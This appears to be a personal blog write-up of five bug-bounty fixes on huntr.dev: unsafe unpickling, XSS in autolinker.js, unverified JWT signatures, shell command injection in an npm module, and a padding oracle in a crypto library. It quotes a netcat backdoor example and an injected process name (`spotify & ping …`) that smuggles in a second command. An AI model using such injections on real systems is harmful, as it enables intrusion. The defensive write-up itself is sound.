Huntr.dev has given any entry level developer or a security enthusiast an easy access experiencing a security bug first hand. In the sea of security write-ups and tutorials for anything related to security, one can get lost in following several threads. There is a need for solving a security bug first hand to understand the intricate details of the implementation. Well, at least I needed one. And huntr.dev provides exactly that. Below are short writeups of the first four bugs that I solved. Even though the fixes are trivial, I’m counting on my ability to recall the issues when I come across something similar. Note also, that I’m no technical writer (although I would hope to be), so this article is more of a documenting exccercise.
- Ipycache and Unpickling
Ipycache is a utility specifically designed for Jupytr notebooks which allows saving computations in a cache file which can be loaded and saved in independent program runs. I believe this will be very helpful when it comes to working with huge amount of data in machine learning and when there is a need to save weights of your model. Even though tensorflow gives a mathod to save the weights, it has had compatibility issues in the past (https://github.com/tensorflow/tensorflow/issues/35942), and this seems like feasible workaround for it.
Now coming to the specific security issue with this project, we see that saving and retrieving the data is done in a very efficient form by opting to serialize/deserialize. Since the soul of such an implementation is in working with raw bytes, this leaves plenty of room for things to go wrong. Java based serialization and deserialization has been under attack and is no more secure (thanks to yoserial.exe). So it is fair to be wary of a similar implementation in python which is termed as pickling/unpickling. a quick google would not only give you several write-ups for this design flaw, but the official documentation itself warns the developer of using these methods.
Now instead of doing a deep dive on how is unpickling insecure, i’ll focus on how the bug was behaving in this project. As mentioned before, unpickling revolves around the converting objects to bytes. But there are certain objects it can’t unpickle. For example python’s pickle won’t understand what to do when one tries to pickle a file handler. So for those kind of objects, they generously accept out implementation of pickling/upickling them. This is done via __reduce__() method. Therefore, any implementation of pickling, if not validated for safe modules or libraries, would result in running of any system commands like `ls` or something more dangerous like `nc some.bad.ip.addr:8080`, thereby introducing a possible backdoor.
Fixing it was as simple as understanding it. We have to restrict what libraries and system calls should be allowed during unpickling process. Hence, overriding the Unpickler() method (and calling it RestrictedUnpickler) we can have the passed in library/process/system call against a list of pre-approved module calls.
- Autolinker.js and XSS
Getting back to it, this project allows anyone to write a text or html content and have links embedded within that content. For example
Pause & look at http://g.com?a=1&b=2. Plus <a href="dangerous">something dangerous</a>.
Pause & look at <a href="http://g.com?a=1&b=2" target="_blank" rel="noopener noreferrer">g.com?a=1&b=2</a>. Plus <a href="dangerous">something dangerous</a>.
Since html tags are readily accepted, so are <script> tags and <img> tags, which if parsed by autolinker.js, renders that as html components and not strings. There has been some discussions by the author and users whether autolinker.js should police such tags or should fetch every html component it sees without restrictions. In my opinion, one look at linkify tells you that it is not that hard to have that check in place. Hence once this dilemma was solved for me, i went ahead and disabled the conversion of opening and ending brackets directly as such. Instead, as per my fix, it would be url-encoded when it is parsed by autolinker.js
- express-laravel-passport and JWT tokens
This project is a middleware for an authentication implementation and it provides the developer with a compact database that can be retrieved by sharing the proper JWT token. The functionality works with an OAuthAccessToken implementation, which in turn depends on
Sequelize (a small-ish DB for node-js).
OAuthAccessToken processes the JWT token and retrieves the user details. One thing which is missing from this whole implementation was that there was no mention of a password or secret. This was confusing initially because this acting middleware was not verifying whether the sender of that jwt token can be trusted. The user id was extracted from the center part of the token, without verifying the signature. This could lead to improper authentication or access if deployed in a production environment.
This HackerOne report could be useful in recreating the issue with the affected module version:
The decision made to fix this design flaw within this implementation were; first, there will be a password included in initialization of the this module, alongwith the existing `sequelize` object. Second, that password/secret would be used to verify if the JWT token was correct by verifying it’s signature.
- listening-processes and ArbitraryCodeExecution
This particular project serves the following purpose:
A simple NPM module for retrieving pertinent info on processes which are listening on local ports, and for killing those processes using shell commands lsof, ps, and kill in the background.
IT ALLOWS SYSTEM COMMANDS TO BE EXECUTED!!
The certainty of this module getting exploited is equal to another fast and furious movie releasing without Vin Diesel. Instead of giving the process name, which a normal user would provide, at attacker can give `spotify & ping 22.214.171.124` to get more juice out of this module. Understanding that the process name can itself be a custom binary names ‘ping’, it would not be effective to prepare a blacklist/whitelist of process names, in order to restrict this projects functionality. But, since all the linux processes are basically files in the system, they have to adhere by the linux file naming convention which means any alpha numeric character along with these special characters: `.` , `-` and `_`. Thus any string being parsed my this module should strictly not contain anything outside these allowed chars. And that is exactly what was introduced in the fix:
- simple-crypto-js and Padding Oracle Attack
This one is the latest and very dear to me. I’ve spent a lot of time studying the padding oracle attack due to it being a challenge in hackerone. My previous article on the subject goes to an introductory length on the subject. You can grab the jupytr notebook on this attack to learn yourself here (https://github.com/adi928/brainDump/blob/master/paddOracleTutorial.ipynb).
Anyways so coming to what was wrong with this project, we first see that in it’s implementation the passwords are used as is, ie. in plaintext. big NO-NO right there. Next, as it was following the normal flow of encrypting the data it leaves out a check for the integrity of the cipher. So, in a scenario where there is a Man-in-the-middle who is trying to employ a chosen cipher attack by changing what he/she sniffs on the network, it should be noted that they can still obtain padding information and thereby the actual information from an unknown ciphertext. First time it occured to me that crafting a payload is way easier than actually coming up with a mitigation myself. So I had to google this particular topic and I landed on the option of using Encrypt-then-Mac method to cocatenate a signing tag to the encrypted string so that it can be verified.
To understand how this mitigates the attack, we need to recall/learn how the attack is originally staged. The foundation of Padding Oracle Attack was that if one sends an incorrect ciphertext, it will possibly have an incorrect padding according to the PKCS#7 scheme. This would trigger a reply from the encrypting server saying “Padding error” or something. But, if nothing is wrong with the padding, then the server will mention no such issue and may just reply back with invalid key or something. By implementing an HMAC signature to our encrypted string, we certify that each encrypted message comes from a verified owner, thereby cancelling the MiTM attack.
The fix is as follows:
Encryption implementation change:
Decryption implementation change: